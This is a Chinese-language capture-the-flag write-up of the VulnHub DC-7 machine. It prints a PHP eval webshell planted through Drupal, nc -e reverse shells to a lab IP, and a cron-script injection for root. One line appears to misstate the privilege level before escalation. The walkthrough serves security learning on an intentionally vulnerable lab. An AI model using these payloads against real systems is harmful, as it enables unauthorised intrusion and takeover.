# 前言
手上的东西看完了,抬头看一眼时间已经是 17 点半了,老家太冷了扛不住。剩下的一点时间还是继续填坑
# 环境
靶机地址:DC: 7 ~ VulnHub
使用 VMware 搭建环境(这个参考这个系列的第一篇即可 DC-1 - Vulnhub | Clown の Blog = (xcu.icu),环境搭建都一样,这里我还是将网络模式改为了 nat)
# 打靶流程
还是信息收集不是我说,这些个靶机过于理想化
一个 22 端口,一个 80 端口,很常见的两个服务,太套路了,看到这两个服务我估计就得 80 端口发现点什么东西,然后找到用户名密码之类的通过这个 22 端口 ssh 连上去
这个页面很显然在 80 端口上部署了一个 Drupal,在上面还有一段提示
DC-7引入了一些"新"概念,但我会让你自己去弄清楚它们是什么。:-)虽然这个挑战不是所有的技术,如果你需要诉诸暴力强制或字典攻击,你可能不会成功。你要做的,就是跳出框框去思考。方式"外"的框。:-)
作者提醒我们暴力破解可能是没有作用的,我也尝试了一些 Drupal 漏洞,但是都没有成功,那么狠显然需要另外的思路,在左下角有一个 @DC7USER,这里搜索一下
这个就很明显了
在配置文件中有一个 mysql 的连接账号,但是我尝试连接失败了
但是这个账号可以通过 ssh 登录
当前的权限还是很小的
在当前目录发现有一个 mbox 文件,还没查看我又发现这里有一个 mail,mail 里很显然有一个 Cron 作业 /opt/scripts/backups.sh
定期运行,备份数据库到 /home/dc7user/backups/website.sql
。然后打开 mbox,是一样的内容,这里不再展示,这里直接去查看定时任务
这里可以看到 www-data 有可读可写的权限,其他用户没有写的权限,很显然我们需要拿到 www-data 的权限,然后通过定时任务来提权到 root,这里先看看定时任务做了什么,因为上面我们还有 dump 的 sql 文件
#!/bin/bash | |
rm /home/dc7user/backups/* | |
cd /var/www/html/ | |
drush sql-dump --result-file=/home/dc7user/backups/website.sql | |
cd .. | |
tar -czf /home/dc7user/backups/website.tar.gz html/ | |
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.sql | |
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.tar.gz | |
chown dc7user:dc7user /home/dc7user/backups/* | |
rm /home/dc7user/backups/website.sql | |
rm /home/dc7user/backups/website.tar.gz |
这里可以看到这里使用了 drush,这实际上是一个操作 Drupal 站点的命令,这里直接修改密码即可
cd /var/www/html/ | |
drush user-password admin --password="123456" |
这样就可以通过这个用户名密码来登录到后台了
这里本来我想要添加页面写入一句话
但是发现这里不支持 php,需要将 php 单独作为一个模块导入
https://ftp.drupal.org/files/projects/php-8.x-1.x-dev.tar.gz
然后选择安装
这里看到就已经成功了
然后这里将其加载到网站
<?php | |
@eval($_POST[1]); | |
?> |
点击保存后就可以尝试用连接了,这里直接命令执行反弹 shell
nc -e /bin/bash 192.168.246.136 6667 | |
nc -lvvp 6667 |
然后用 python 优化一下
python -c 'import pty;pty.spawn("/bin/bash")' |
这里当前的权限已经是 root,利用定时任务提权
echo "nc -e /bin/bash 192.168.246.136 6767" >> /opt/scripts/backups.sh | |
nc -lvvp 6767 |